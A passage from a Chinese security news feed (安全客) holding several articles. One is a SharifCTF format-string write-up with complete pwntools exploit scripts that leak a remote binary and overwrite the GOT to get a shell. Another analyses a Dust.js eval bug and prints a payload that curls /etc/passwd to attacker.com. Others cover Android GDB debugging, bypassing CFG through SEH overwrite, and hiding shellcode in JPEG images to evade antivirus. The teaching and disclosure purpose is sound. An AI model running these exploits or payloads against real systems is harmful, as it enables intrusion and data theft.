frompwnimport* defleakELF(addr): p=None foriinrange(5):#多循环几次,放置连接中断 try: p=remote("ctf.sharif.edu",54518,timeout=1) payload="ABCD%7$sDCBA"+p32(addr) if("\x0a"inpayload)or("\x00"inpayload): log.warning("newlineinpayload!") return"\xff" p.sendline(payload) printp.recvline() data2=p.recvline() log.info(hexdump(data2)) ifdata2: fr=data2.find("ABCD")+4 to=data2.find("DCBA") res=data2[fr:to]#定位出泄漏的数据位置 ifres=="":#说明要泄漏的数据就是\x00 return"\x00" else: returnres return"\xff"#如果出现异常,先返回\xff exceptKeyboardInterrupt: raise exceptEOFError: log.debug("gotEOFforleakingaddr0x{:x}".format(addr)) pass exceptException: log.warning("gotexception...",exc_info=sys.exc_info()) finally: ifp: p.close() return"\xff" f=open("nomoreblind-binary","wb") base=0x08048000 leaked="" whilelen(leaked)<8000:#假设目标ELF小于8kb address=base+len(leaked)#新的泄露地址等于基地址加上已泄漏的长度 tmp=leakELF(address) leaked+=tmp log.info(hexdump(leaked)) withopen("nomoreblind-binary","wb")asf:#将已泄漏的数据写入文件 f.write(leaked)
【技术分享】格式化字符串漏洞利用小结(二)

由于是32bit程序,一般起始于0x08048000,故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s,payload是"ABCD%7$sDCBA"+p32(addr),ABCD和DCBA是为了定位返回的数据位置,而我们要泄漏信息的地址(即p32(addr))位于偏移位置7。我们这里假设目标elf大小是8kb,其实没有那么大,视情终止即可。在上面的代码中,我们通过自定义的leakELF函数,每次泄漏一段数据,并记录数据长度,以便下次从该长度之后继续泄漏。代码中还需要解释的几点是:

leakELF中的for循环是为了防止连接服务器出错,毕竟要泄漏的数据量较大;

如果payload中出现0x0a,则会造成截断(接收函数是fgets),直接返回none;

如果返回的ABCD与DCBA之间没数据,则设置返回数据为\x00;

如果直接出现异常或无返回,则设置返回数据为\xff。

整个泄漏的时间会比较长,慢慢等吧,大概到4kb左右的时候,其实就已经完成了,因为出现了新的ELF头(\x7f454c46)。这个其实没有特别的标志,只能说毕竟是比赛,binary不会太大,感觉差不多,拿出来分析一下就知道了。

3.2 修复ELF文件

由于我们在dump脚本中填补了一些\xff,故需要大概修补一下,比如文件的第一个字节,就要从\xff改为\x7f。通过010Editor的ELF文件模板,我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题,这里就不多说了,大家可以参考其他文章,主要把文件头修改好就差不多了。当然,修改了之后也是不能运行的,毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。


【技术分享】格式化字符串漏洞利用小结(二)

3.3 逆向ELF文件

上面的ELF文件已经可以借助IDA进行逆向了,F5后得到的伪代码如下。


【技术分享】格式化字符串漏洞利用小结(二)

上面就是main函数,虽然并没有把所有库函数名称都关联出来,但主程序毕竟很短,很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出,然后设置alarm函数参数为60秒;进入while无限循环后,用fgets来接收输入,并用printf进行输出。

结合汇编代码以及ELF中的函数名字符串(fflush、exit、printf、fgets、strlen、alarm、setvbuf),我们就能将它们对应起来,比如:

setvbuf:plt是0x08048490,got是0x08049980(在IDA中跳到sub_08048490即知);

alarm:plt是0x08048440,got是0x0804996c;

printf:plt是0x08048400,got是0x0804995c。

3.4 获取libc函数地址

本题既没有提供程序的binary,更没有提供对应的libc文件。在这种情况下,我知道的方法有两种:

采用DynELF暴力搜索

利用libcdatabase或libdb查询

我参考的writeup作者就是用的第一种方法,但我始终没成功,即使和作者沟通后得到了他的脚本也不行,感觉是网络连接不稳定;而第二种方法更是没有达到目的,应该是由于内置的libc库文件不全导致的。

考虑到第一种方法中,pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本,那是不是可以干脆将pwntools所依赖的所有libc库文件都下载下来,然后再借鉴第二种方法,将这些库文件导入到libcdatabase中,利用该工具已有的功能,通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢?

按照这个思路,我首先写了个脚本,根据pwntools中的md5文档(https://gitlab.com/libcdb/libcdb/tree/master/hashes)将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中,共6000多个。当然,pwntools中的libc库也是动态更新的,未来还会添加新的libc文件,大家可以继续搜索并扩充至自己本地。

然后,我使用libcdatabase内置的add功能脚本,将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件,故时间比较长,但一劳永逸,以后就可以直接用find功能脚本来快速查找比对了。当然,如果有哪些libc文件没有导入进去,我们也可以直接用pwntools的ELF模块来解析并比对后12bit。

通过以上工作,结合泄漏出来的printf函数实际地址的后12bit(即0xc70),我们可以匹配到很多libc文件,如下图所示,如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so;再用alarm等其他库函数的后12bit进一步校正,即可获知最终版本,从而获取到相应偏移,具体见下面的代码。


【技术分享】格式化字符串漏洞利用小结(二)

3.5 获取shell

得到了libc版本,我们就可以确定各个库函数的偏移,从而可以得到system函数地址,并借助格式化字符串漏洞用其替换掉目标程序GOT表中的printf地址。当目标程序进入下一次循环后,我们用“/bin/sh”作为输入,由于此时printf的GOT地址处其实保存的是system函数地址,则调用printf(“/bin/sh”)时,其实就是调用的system(“/bin/sh”),shell也就获取到了。

通过《格式化字符串漏洞利用小结(一)》,我们比较深入的理解了格式化字符串漏洞的原理与手工构造payload的方法。这时,也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用,不用再自己一点一点小心地构造payload,而交给pwntools来自动完成。

具体使用的就是如下函数。

fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')

第一个参数表示格式化字符串的偏移,这里已经知道是4;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload,具体结果你可以print出来看看,和你自己手工构造的一不一样。

以下就是具体的利用代码。

frompwnimport* importbinascii p=remote("ctf.sharif.edu",54518,timeout=1) printfGOT=0x0804995c printfOffset=0x4cc70 systemOffset=0x3e3e0 p.sendline("%5$s"+p32(printfGOT)) printp.recvline() data=p.recv() printfAddress=data[0:4][::-1] printfAddress=int(binascii.hexlify(printfAddress),16) systemAddress=printfAddress-printfOffset+systemOffset print"printf:",hex(printfAddress) print"system:",hex(systemAddress) payload=fmtstr_payload(4,{printfGOT:systemAddress}) p.sendline(payload) printp.recvline() printp.recv() p.sendline("/bin/sh") printp.recvline() p.interactive()

4、参考文章

http://bobao.360.cn/ctf/detail/189.html

https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/

https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7


5、附件

https://pan.baidu.com/s/1kV5aqsn


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程



【技术分享】格式化字符串漏洞利用小结(二)
【技术分享】格式化字符串漏洞利用小结(二)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3674.html

【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸

$
0
0
【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸

2017-03-31 10:59:40
来源:snyk.io 作者:興趣使然的小胃

阅读:556次
点赞(0)
收藏





【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸

作者:興趣使然的小胃

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

解释型语言(如javascript和Ruby等)的一个关键要素是使用动态类型,也就是说变量类型可以在运行时动态确定和更新。虽然动态类型也有缺点,但它可以使软件更加灵活,研发更为快速。不幸的是,动态类型语言容易遭受类型篡改(Type Manipulation)漏洞影响,攻击者可以通过篡改给定变量的类型来实施攻击行为。

本文是类型篡改漏洞的第一篇文章,这一系列文章以现实世界的攻击事件为例,分析了类型篡改可以引发的漏洞利用方式,解释了相应的防御方法。使用真实案例可以让读者了解到所使用的软件包中是否存在这些漏洞,也可以帮助读者从中学习经验,避免自己代码中存在类似错误。

本文中我们将重点关注如何利用类型篡改漏洞从模板沙盒中逃逸。这些模板中通常存在一些内置的保护机制,在本文中,我们可以看到这类保护机制并非十全十美。我们的分析案例以LinkedIn的Dust.js以及Mozilla的Nunjucks模板框架为主,捎带提及了Angula。


二、LinkedIn Dust.js远程命令执行漏洞分析

本文重点分析的是Dust.js模板框架中存在的漏洞。Dust.js是一个流行的模板框架,由LinkedIn发布和使用。PayPal也使用了Dust.js框架,正是在PayPal上,研究人员发现了类型篡改漏洞可以导致远程命令执行。

漏洞最早于2015年1月9日披露,在2.6.0版本得到修复,漏洞细节于2016年9月14公布。如果你正在使用Dust.js,请确保在用版本不受此漏洞影响。

Dust.js存在以下两类问题。

(一)显示依赖于变量类型

与大多数模板库一样,Dust.js在模板中支持条件判断语句,如下代码根据device参数的值来判断如何渲染HTML页面:

{@ifcond="'{device}'=='desktop'"} <div>Desktopversion</div> {:else} <div>MobileVersion</div> {/if}

Dust.js稍后会使用eval()函数来判断这些条件语句的真假,这也是模板支持复杂条件所使用的一种简单方法。以下是Dust.js中if函数的一段代码,其中用户提供的params变量与开发人员提供的静态con变量结合在一起,生成最终需要判断的条件语句:

"if":function(chunk,context,bodies,params){ ... varcond=params.cond; cond=dust.helpers.tap(cond,chunk,context); //evalexpressionswithgivendustreferences if(eval(cond)){ ... } }

由于条件语句中可能包含用户输入(比如device参数),Dust.js使用sanitisation函数来避免以代码形式执行恶意参数值。以下是sanitisation函数的代码片段:

dust.escapeHtml=function(s){ if(typeofs==='string'){ if(!HCHARS.test(s)){ returns; } returns.replace(AMP,'&amp;').replace(...)//morecharreplacements } returns; }

这段代码非常简洁、完整,能够拦截当前已知的可以破坏字符串引用的所有特殊字符。另外,读者还可以在代码中看到HCHARS.test(s)函数仅用于处理字符串,避免在处理未定义值时出现错误。

虽然这段代码可以避免一些错误情况,但它却无法阻止类型篡改攻击。如果攻击者成功将s强制转化为数组(或任意非字符串类型)对象,整个检查过程就会被完全绕过。在随后的代码中,当条件语句传递给eval函数时,数组对象会被显示转化为字符串对象,最终导致远程JavaScript代码执行。

(二)字符串可以转为数组

攻击者的下一步骤是尝试篡改变量类型。对于API驱动的应用而言,攻击者可以通过修改JSON载荷来尝试篡改变量类型,正如之前Mongoose的Buffer漏洞一样。然而,由于Dust.js是一个Web模板平台,我们会专注于如何通过qs包来篡改变量类型。

qs包是解析查询字符串时最常用的一个JavaScript包,也是express、request和其他流行包中默认使用的包。qs能够将查询字符串转化为JavaScript对象,以便程序处理。以下是qs的常见用法:

qs.parse('a');//{a:''} qs.parse('a=foo');//{a:'foo'} qs.parse('a=foo&b=bar');//{a:'foo',b:'bar'} qs.parse('a=foo&a=bar');//{a:['foo','bar']} qs.parse('a[]=foo');//{a:['foo']}

你可能会注意到,qs通过查询字符串中对象的创建方式来判断对象类型。如果同一个对象名多次出现,它就会被当成数组对象。类似地,如果一个变量显示声明为数组型变量,那么在解析该变量时Dust.js将按照数组类型进行处理。

这里距离触发Dust.js漏洞已经很近了。PayPal使用了上文分析的存在漏洞的模板,攻击者需要做的仅仅是提供device参数两次,或者以“device[]=value”形式提供参数,这样变量就会按数组方式进行参数传递,最终绕过净化函数的处理逻辑。

(三)Dust.js漏洞后续利用

这一部分与类型篡改主题有一定关系,但主要内容是分析攻击者如何具体利用此类漏洞。

首先,攻击者需要获得代码运行机会。这个目标可以通过一个攻击URL来实现,如下所示:

攻击所用的URL: https://host/page?device=x&device=y'-console.log('gotcha')+'

调用eval执行: eval("'xy'-console.log('gotcha')+'' == 'desktop'");

控制台日志消息对攻击者来说用处不大,因此攻击者需要使用其他更为巧妙的方法,比如将某些信息从内部往外部发送。在PayPal漏洞中,研究人员使用了如下载荷传递信息:

http://host/page?device=x&device=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+attacker.com')-'

等价的eval语句如下所示:

eval("'xy'-require('child_process').exec('curl-F\"x=`cat/etc/passwd`\"attacker.com')-''=='desktop'");

以上漏洞利用方式使用的是child_process模块来执行本地curl命令,将“/etc/passwd”文件发送给攻击者。使用原生的Node命令也可以完成相同任务,但所需的载荷稍长。使用child_process模块可以将漏洞范围从远程JS代码执行延伸至远程shell命令执行,拓宽攻击者可选项。

(四)修复措施

大多数类型篡改漏洞(Dust.js的这个也不例外)可以通过禁用(disallowing)、规范化(normalizing)或自定义处理(custom handling)变量类型加以修复。这三种措施可以相互结合,建立多层防御机制。

禁用变量类型意味着只有特定变量类型受模板支持。此例中,Dust.js可以选择在模板中禁用非字符串类型参数,这种处理方式将导致模板框架功能减少,因此需根据框架的具体使用方式来确定是否使用该方法。

规范化变量类型意味着各种输入类型将会转换为一种类型。本例中,Dust.js将有问题的变量传递给eval()函数时,这些变量会被隐式转化为字符串变量。与其在向eval()传递参数时对变量类型进行转化,Dust.js可以在上游函数中将传入的数组、整数或其他变量转化为字符串,然后在后续代码中(如sanitisation函数)进行处理。

自定义处理变量意味着需要对所有支持的类型编写特定的处理方式。本例中,Dust.js早就可以确定变量为数组类型,可以对数组中的每个字符串进行规范化处理,同时它也可以对多个数组的组合进行处理。自定义处理方法是三种方法中最为脆弱的,但同时也能够处理更加复杂的输入。

Dust.js选择了自定义处理方法,可以拦截toString属性为函数的所有对象。这种处理方法的确解决了这个问题,但也在代码中留下了一定的脆弱点,因为下游代码可能会选择以不同的方式将数组对象转化为用户输出。以下是Dust.js补丁中的相关代码片段:

dust.escapeHtml=function(s){ if(typeofs==="string"||(s&&typeofs.toString==="function")){ if(typeofs!=="string"){ s=s.toString(); } if(!HCHARS.test(s)){ returns; } } };

如果你正在使用存在漏洞的Dust.js版本,同时因为各种原因无法升级,那么你可以选择在代码中对传递给Dust.js的输入类型规范化处理,或者禁用非字符串类型参数、阻止恶意数组。你可以通过Snyk的命令行接口或GitHub集成接口测试所使用的Dust.js版本是否存在漏洞。


三、Mozilla Nunjucks XSS漏洞分析

Dust.js的漏洞不是独一无二的,我们在其他地方也可以见到类似漏洞。Mozilla的Nunjuck库中的存在类似漏洞,漏洞最早于2016年9月6日由Matt Austin发现,在2.4.3版本中得到修复,漏洞细节于2016年9月9日公布。与Dust.js类似,你可以使用Snyk来测试所使用的Nunjucks版本是否存在漏洞。

与handlebars、mustache以及其他库类似,Nunjucks允许用户在两个大括号(``) 中指定变量名称,该名称应为HTML编码格式。如下所示:

nunjucks.renderString( 'Hello', {username:'<script>alert(1)</script>'}); //Outputs:Hello&lt;script&gt;alert(1)&lt;script&gt;

然而,与Dust.js类似,Nunjuck的sanitisation函数只能对字符串进行转义处理。以下是Nunjuck sanitisation函数代码片段:

escape:function(str){ if(typeofstr==='string'){ returnr.markSafe(lib.escape(str)); } returnstr; }

与前文的处理逻辑类似,如下的一个URL(由qs解析):

http://host/?name[]=<script>alert(1)</script>matt

会导致代码执行,生成XSS输出,如下所示:

nunjucks.renderString( 'Hello', {username:['<script>alert(1)</script>matt']}); //Outputs:<script>alert(1)</script>matt

Nunjucks存在的漏洞原因与Dust.js一致,都是忽视了攻击者可以篡改变量类型。攻击者可以借此绕过sanitisation函数处理流程,注入恶意代码。

Nunjucks可以采用与Dust.js类似的防御措施,如禁用数组输入、规范化变量为字符串类型或使用自定义处理方式解析数组变量。Mozilla在补丁中选择使用toString方法对输入数组进行统一处理。


四、总结

类型篡改是一种名气较小的攻击方法,但的确可以对所有动态类型语言造成危害。在动态类型语言中,我们需要认真考虑输入类型,在每种类型上使用白名单、规范化或自定义处理方式。

本文中,我们了解了如何利用类型篡改漏洞从模板沙盒框架中逃逸,许多框架都存在该问题。不控制运行时的沙盒化技术是非常困难的,这也是Angular完全抛弃沙盒的原因所在。


【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸
【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://snyk.io/blog/type-manipulation/

【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

$
0
0
【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

2017-03-31 14:05:05
来源:infosecinstitute.com 作者:shan66

阅读:267次
点赞(0)
收藏





【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

翻译:shan66

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在本文中,我们将介绍如何对运行在已经取得root权限的Android设备或模拟器上的进程进行调试。调试进程是一个非常重要的任务,因为通过这种方式,我们就能在应用程序中查找内存损坏等安全漏洞。


准备工作

1.设置一个Android模拟器

2. 安装NDK - 可以从下面的链接进行下载

http://developer.android.com/tools/sdk/ndk/index.html

然后,我们要做些什么呢?

其实我们要做的事情并不复杂:

1. 在模拟器上设置GDB服务器

2. 从客户端连接到GDB服务器

3. 开始调试

好了,让我们开始吧。


使用GDB在Android模拟器上调试APP

第一步是将gdb服务器推送到模拟器上。我们希望能够从设备中的任何位置访问它,为此,一种方法是将其放在/ system / bin目录下。

我们首先使用“adb”获取设备上的shell,并运行“mount”命令,具体如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,在这里/ system是以“ro”权限进行安装的。因为我们需要在这里写一些文件,所以我们需要用“rw”重新安装它,具体命令如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

现在我们来看看“mount”命令。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

不知您是否注意到了,现在/system分区是以"rw"权限挂载的。

下面,我们将gdbserver推送到模拟器。

导航到NDK目录并寻找ARM二进制代码所在位置。在我的机器中,它位于“prebuilt / android-arm”目录下面,如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

使用“adb push”命令将gdbserver推送到模拟器上。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

为了验证是否上传成功,请使用“adb”在设备上获取shell,并键入以下命令。

“gdbserver–help”
【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,gdb服务器一切正常。

我们还可以检查gdbserver的版本,具体命令如下图所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

我们可以看到,目标进程的进程ID是1234。

下图显示了如何使用gdbserver附加到这个进程。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

注意:我们也可以使用以下命令直接挂接到该程序中。

gdbserver:8888[filename][arguments]

现在,gdbserver正在运行。一旦运行完成,我们需要使用“adb forward”转发端口8888,具体如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

完成上述所有步骤后,我们就可以启动预编译的gdb客户端了。

我们可以使用下图中的命令来启动预编译的gdb客户端,如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,我们会得到一个gdb控制台。现在,我们需要连接到运行在模拟器上的gdbserver实例上,具体方法如下所示。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

好极了! 我们现在终于可以与目标进程进行交互了。让我们列出寄存器清单。


【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

至于你可以用本文介绍的配置来做什么,那就要看你的想象力了。在后面的文章中,我将为读者演示如何使用相同的配置,通过GDB在NDK应用程序中探测内存损坏漏洞。


传送门

安卓 Hacking Part 1:应用组件攻防(连载)

安卓 Hacking Part 2:Content Provider攻防(连载)

安卓 Hacking Part 3:Broadcast Receivers攻防(连载)

安卓 Hacking Part 4:非预期的信息泄露(边信道信息泄露)

安卓 Hacking Part 5:使用JDB调试Java应用

安卓 Hacking Part 6:调试Android应用

安卓 Hacking Part 7:攻击WebView

安卓 Hacking Part 8:Root的检测和绕过

安卓 Hacking Part 9:不安全的本地存储:Shared Preferences

安卓 Hacking Part 10:不安全的本地存储

安卓 Hacking Part 11:使用Introspy进行黑盒测试

安卓 Hacking Part 12:使用第三方库加固Shared Preferences

安卓 Hacking Part 13:使用Drozer进行安全测试

安卓 Hacking Part 14:在没有root的设备上检测并导出app特定的数据

安卓 Hacking Part 15:使用备份技术黑掉安卓应用

安卓 Hacking Part 16:脆弱的加密

安卓 Hacking Part 17:破解Android应用

安卓 Hacking Part 18:逆向工程入门篇

安卓 Hacking Part 19:NoSQL数据库不安全的数据存储



【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序
【技术分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/android-hacking-and-security-part-20-debugging-apps-on-android-emulator-using-gdb/#article

【技术分享】使用结构化异常处理绕过CFG

$
0
0
【技术分享】使用结构化异常处理绕过CFG

2017-03-31 15:00:04
来源:improsec.com 作者:myswsun

阅读:564次
点赞(0)
收藏





【技术分享】使用结构化异常处理绕过CFG

翻译:myswsun

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

本文所讲的技术基于泄漏栈地址并覆盖结构化异常处理,从而绕过CFG。

为了方便绕过,我再次选择了使用IE11的漏洞(MS16-063),在我之前的绕过CFG的文章中使用过(1,2)。


0x01 泄漏栈

我已经有了PoC文件Clean_PoC.html,其利用漏洞获得一个读写原语,但是不够深入。在下个PoC文件Leaking_Stack.html中能泄漏当前线程的堆栈限制,这个可以通过使用kernelbase.dll中的GetCurrentThreadStackLimits做到。它执行的方法是,通过覆盖TypedArray对象的虚函数表,并使用下面的调用:


【技术分享】使用结构化异常处理绕过CFG

在虚表偏移0x188处,能直接在javascript代码中调用,并且有两个参数,这是重要的,因为这个函数必须有相同数量的参数,否则堆栈不会平衡会触发异常。

GetCurrentThreadStackLimits满足Javascript的调用要求,MSDN中介绍如下:


【技术分享】使用结构化异常处理绕过CFG

它有两个参数,并返回栈基址和栈的最大保留地址。通过两步能找到GetCurrentThreadStackLimits的地址,首先泄漏一个kernelbase.dll的指针,然后在DLL中定位函数。第一部分能通过在定位jscript9中的Segment::Initialize函数来完成,因为他使用了kernel32!VirtualAllocStub,继而调用kernelbase!VirtualAlloc。我通过扫描jscript9的虚函数地址并计算哈希找到了这个函数,然后使用读原语。算法如下:


【技术分享】使用结构化异常处理绕过CFG

通过5个DWORD相加,每次向前一个字节遍历直到正确的哈希被找到。调用Kernel32!VirtualAlloc的位置在Segment::Initialize中偏移0x37处:


【技术分享】使用结构化异常处理绕过CFG

读取指针得到:


【技术分享】使用结构化异常处理绕过CFG

在偏移0x6处包含了跳转向kernelbase!VirtualAlloc:


【技术分享】使用结构化异常处理绕过CFG

现在我们有了kernelbase.dll的地址,然后我们使用和Segment::Initialize一样的方法找到GetCurrentThreadStackLimits的地址,代码如下:


【技术分享】使用结构化异常处理绕过CFG

我们现在像Theori的原始利用中一样创建一个假的虚表,并在这个函数指针的偏移0x188处覆盖虚表入口,同时记住增大TypedArray的参数大小,代码如下:


【技术分享】使用结构化异常处理绕过CFG

运行并在GetCurrentThreadStackLimits中打断点:


【技术分享】使用结构化异常处理绕过CFG

上图显示了栈的上下限制。为了从这得到能控制的指令指针,我定位了栈中的SEH链,并覆盖了一个入口,然后触发异常。虽然做了这些,但是需要记住的是windows 10开启了SEHOP。因为SEH指针不被CFG保护,这将能绕过CFG和RFG。这些实现在文件Getting_Control.html中。

为了实现这个,我需要定位栈中的SEH链,泄漏栈限制后的SEH链如下:


【技术分享】使用结构化异常处理绕过CFG

调试异常将变得很清晰,5个异常处理指针指向jscript9,同时MSHTML!_except_handler4似乎是个死循环。因此如果我们能覆盖5个javascript异常中的任意一个,并触发一个异常,我们将得到可控制的指令指针。在古老过时的SEH覆盖利用中通常是通过栈缓冲区溢出来覆盖SEH链,但是这将触发SEHOP,因此我们只想覆盖一个异常处理的SEH记录同时保持NSEH完整。因此这个覆盖必须精确,且SEH记录的栈地址必须泄漏。为了完成这次泄漏,我们将扫描栈,搜索SEH链,为了确保我们找到它,我们能验证最后一个异常处理是ntdll!FinalExceptionHandlerPadXX。因为最后一个异常处理函数会随着程序重启而改变,因此泄漏分为两步,首先找到正确的最后一个异常处理函数,然后再是SEH链。为了完成第一个泄漏,搜索栈中ntdll!_except_handler4,因为在栈中上下搜索它只会遇到一次:


【技术分享】使用结构化异常处理绕过CFG

剩下的问题是,找到ntdll!_except_handler4的地址,但是这非常简单,因为能从任何被CFG保护的函数中找到ntdll.dll的指针并包含一个间接调用。CFG的验证包含ntdll!LdrpValidateUserCallTarget的调用,并且jscript9被CFG保护,任意间接调用的函数都包含ntdll.dll的指针。在TypedArray对象虚表中偏移0x10处就有这么一个函数:


【技术分享】使用结构化异常处理绕过CFG

使用读原语,找到ntdll.dll的指针的代码如下:


【技术分享】使用结构化异常处理绕过CFG

通过使用读原语搜索特征或哈希能从ntdll.dll中能得到_except_handler4的地址,_except_handler4看起来如下:


【技术分享】使用结构化异常处理绕过CFG

头0x10个字节总是相同的且非常特别,因此可以使用哈希搜索:


【技术分享】使用结构化异常处理绕过CFG

上面的函数使用了ntdll.dll的指针作为参数。一旦我们找到了函数指针,我们能搜索栈:


【技术分享】使用结构化异常处理绕过CFG

在这个地址,有如下:


【技术分享】使用结构化异常处理绕过CFG

因为这在那之前的DWORD能被读取并包含:


【技术分享】使用结构化异常处理绕过CFG

找到了最后一个异常处理的函数指针。然后可以进行第二步泄露了,现在我们能看到来自jscript9的异常处理,因此它的函数指针一定位于PE代码段中,能从DLL的PE头中找到这些地址:


【技术分享】使用结构化异常处理绕过CFG

现在有了这个,上下搜索栈,能看到栈的所有内容。算法如下:

如果一个DWORD小于0x10000000,它不在jscript9.dll中,因此移到下一个DWORD。

如果大于0x10000000,检查是否在jscript9.dll的代码段中

如果在,则栈上的4字节DWORD是指向栈的指针

如果上面两步正确,我们可能找到了SEH,因此我们尝试校验是否以最后一个异常处理结尾

如果指针中的某个不在指向栈,或者超过8个引用,它不是SEH链

在我的测试中,第一次指向jscript9.dll的指针,其中的DWORD是一个栈指针,它是SEH链,算法如下:


【技术分享】使用结构化异常处理绕过CFG

有了这个算法,意味着精确覆盖SEH记录是可能的,并且不会中断下一个异常处理,因此绕过SEHOP。

最后,触发异常,获得可控制的指令指针:


【技术分享】使用结构化异常处理绕过CFG

运行结果如下:


【技术分享】使用结构化异常处理绕过CFG

上图展示了调试器捕捉到的异常,并且用我们想要的0x42424242覆盖成功。这阐述了这个技术如何绕过CFG获得执行控制。它同样也能绕过RFG的实现。代码在github中。


【技术分享】使用结构化异常处理绕过CFG
【技术分享】使用结构化异常处理绕过CFG
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://improsec.com/blog//back-to-basics-or-bypassing-control-flow-guard-with-structured-exception-handler

【技术分享】如何从猫咪图片中加载运行shellcode

$
0
0
【技术分享】如何从猫咪图片中加载运行shellcode

2017-04-01 10:34:10
来源:infosecinstitute.com 作者:興趣使然的小胃

阅读:91次
点赞(0)
收藏





【技术分享】如何从猫咪图片中加载运行shellcode

翻译:興趣使然的小胃

预估稿费:190RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

猫咪是互联网的宠儿,这也是我为什么会考虑将猫咪和恶意软件联系在一起。

在某个偶然场合下,我接触到了一种比较特别的代码执行方法,其中涉及到某些可执行文件和一张图片。通常情况下,程序会下载图片文件,将该文件转化为可执行文件然后再运行。这种方法技术比较粗糙,可以在某些方面进行改进。

比如这种方法存在文件落盘行为,容易被反病毒软件检测出来。你可以通过内存执行方式来解决这个问题。然而,这么做的话你会遇到另一个问题,那就是你需要修改可执行文件中的IAT(Import Address Table,导入函数表)以及其他方面内容,因为可执行文件需要加载到其他程序的共享地址空间。

本文提出了一种方法,可以将shellcode嵌入到一张图片中,利用程序在堆中分配空间,下载远程图片然后执行图片中的shellcode。

这种方法使用内存运行方式,不容易被检测分析。在本文案例中,我们将使用一张JPG图片完成此项任务。


二、环境准备

你需要具备以下条件:

1、windows系统

2、linux工具

3、汇编知识

4、了解基本的MSFVenom载荷生成方法

5、编辑器:HexEditor(或WxHexEditor)

6、安装GCC并添加到$PATH环境变量中

7、安装Nasm并添加到$PATH环境变量中

其他可选条件:

8、调试器:Ollydbg或x64dbg

9、将ASM指令转换为Op代码的工具。我使用的是Ram Michael的MultiLine Ultimate Assembler插件:MUA插件


三、前期处理

由于可执行文件的执行过程总是遵循从头部到尾部的顺序,因此我们需要掌握在内存中运行自定义载荷的方法。当你通过HTTP方式下载一个文件时,你会收到HTTP响应头和紧跟其后的文件内容。由于响应头位置靠前且大小不固定,我们难以预测需要跳转到哪个具体位置来执行代码。我们能做的就是将载荷信息放到图片尾部,将这段载荷拷贝到堆上的另一块内存空间,然后跳转到对应位置。

插入载荷后的图片二进制数据如下所示:

JPEG图片头:FFD8FFE00010 JFIFASCII字符:4A464946 图片字节数据 图片字节数据 载荷尾部:CCCCCCCC 载荷中部:BBBBBBBB 载荷头部:AAAAAAAA

我们需要分配内存空间,跳转到载荷中的AA AA AA AA处并翻转载荷数据。载荷在内存中翻转后的内容如下:

载荷头部:AAAAAAAA 载荷中部:BBBBBBBB 载荷尾部:CCCCCCCC

这一步完成后,我们只要跳转到正确地址就能顺利运行载荷。

本例中,我编写了一个简单的混淆器,对载荷进行异或处理,通过混淆器还原并运行载荷。

这个混淆器将载荷按WORD大小分割为多段数据,将FFFF添加到每段数据前头,通过逐位运算移除FFFF,将处理后的WORD添加到DWORD的第一部分,然后再添加下一个WORD数据到DWORD的第二部分。处理过程如下所示:

